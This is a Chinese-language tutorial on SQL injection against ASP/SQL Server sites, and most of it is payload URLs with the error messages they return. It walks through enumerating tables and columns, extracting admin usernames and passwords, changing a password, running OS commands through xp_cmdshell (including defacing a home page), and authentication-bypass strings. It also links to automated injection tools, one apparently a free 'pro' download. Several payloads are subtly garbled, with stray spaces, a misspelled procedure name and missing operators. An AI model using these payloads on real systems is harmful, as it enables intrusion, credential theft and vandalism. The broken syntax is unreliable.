SQL Injection 的原理、方法、工具
駭客尋找的訊息
如何知道該伺服器具有SQL injection 的弱點呢?
有兩個簡單的方式,
- 透過Google Hacking 的方式來尋找
- 到該網站尋找回傳 SQL Error 的訊息
這邊主要介紹如何透過 SQL Error回傳的錯誤訊息達到SQL injection
如何讓SQL 強制回傳錯誤訊息呢? 最常見的方式就是輸入 ‘
因為單引號在 SQL Server 中是有特別意義。
如果該網站沒有特別對 SQL Error 做處理,就會出現類似下列的錯誤訊息。
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ‘’’. /corner/asp/checklogin1.asp, line 7 |
只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!
只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!
只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!
強調三次,因為對於正常 SQL Server Developer來說,
或許目前還無法連結SQL Error 與SQL Injection 的關係,請看接下來的幾個範例。
SQL Injection範例1
假設這個網站透過 Http GET 也就是網址的方式傳遞參數,ID = 5
http://www.Victim.com/index.asp?id=5 |
那麼我們可以另外輸入 SQL injection 字串,
http://www.Victim.com/index.asp?id=8 UNION SELECT TOP 1 TABLE _ NAME FROM INFORMATION _ SCHEMA.TABLES — |
在 id=8 之後加入 UNION SELECT的SQL 語法
UNION SELECT TOP 1 TABLE _ NAME FROM INFORMATION _ SCHEMA.TABLES —
這段語法會回傳資料庫第一個Table名稱
因此我們會得到下列的回傳錯誤訊息,間接知道 table name 為 “UserName”
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘UserName’ to a column of data type int. /index.asp, line 5 |
SQL Injection範例2
透過範例1我們知道第一個 table 名稱,那麼要如何知道其他 Table 名稱呢?
http://www.Victim.com/index.asp?id=8 UNION SELECT TOP 1 TABLE _ NAME FROM INFORMATION _ SCHEMA.TABLES WHERE TABLE _ NAME NOT IN (’UserName’)– |
SQL Injection範例3
或是利用 like的方式,將搜尋其他 table ,
這個範例我們搜尋Table名稱含有 login
http://www.Victim.com/index.asp?id=9 UNION SELECT TOP 1 TABLE _ NAME FROM INFORMATION _ SCHEMA.TABLES WHERE TABLE _ NAME LIKE ’%25login%25’– |
回傳錯誤訊息如下,因此我們知道另外有一個 admin_login的 table
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int. /index.asp, line 5 |
SQL Injection 範例4: 如何得知欄位名稱?
知道有一個 Table 名稱為 admin_login之後,如何得知該 table 的欄位名稱呢?
http://www.victim.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN _ NAME FROM INFORMATION _ SCHEMA.COLUMNS WHERE TABLE _ NAME=’admin _ login’– |
透過這個語句執行,會回傳下列訊息結果,我們得知其中一個欄位名稱為 login_id
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int. /index.asp, line 5 |
接著再利用 Not in 的方式將其他欄位都取出
http://www.victim.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN _ NAME FROM INFORMATION _ SCHEMA.COLUMNSWHERE TABLE _ NAME=’admin _ login’ WHERE COLUMN _ NAME NOT IN (’login _ id’)— |
SQL Injection 範例5: 如何得取得資料內容?
在得知table名稱與欄位名稱後,就可以取得資料內容,得知使用者帳號密碼
http://www.victim.com/index.asp?id=10 UNION SELECT TOP 1 login _ name FROM admin _ login– |
http://www.victim.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin _ login WHERE login _ name=’john’– |
SQL Injection 範例5: 如何得更改資料內容?
也可以利用這個方式更改資料庫密碼
http://www.somesite.com/index.asp?id=10 UPDATE ‘admin _ login’SET ‘password’ = ‘newPassword’ WHERE login _ name=’userName’– |
SQL Injection 範例6: 執行系統指令?
SQL injection也可以用來執行作業系統指令,例如下列範例
執行指令
username’; exec master..xp _ cmdshell “insert OS command here” — |
搜尋檔案
userName’ ; exec master..xo _ cmdshell “dir c:\*.*/s > c:\directory.txt” — |
更改某網頁內容
userName’ ; exec master..xp _ cmdshell “echo you-are-defaced > c:\inetpub\wwwroot\index.htm” — |
如何簡單測試?
可以輸入下列值,看看回傳訊息。
‘ OR 11– “ OR 11– ‘ OR ‘a’’a “ OR ‘a’’a ‘) OR (‘a’’a |
SQL injection 自動測試工具
http://www.hackerspedia.com/2014/12/download-havij-pro-117-pro-free.html
https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/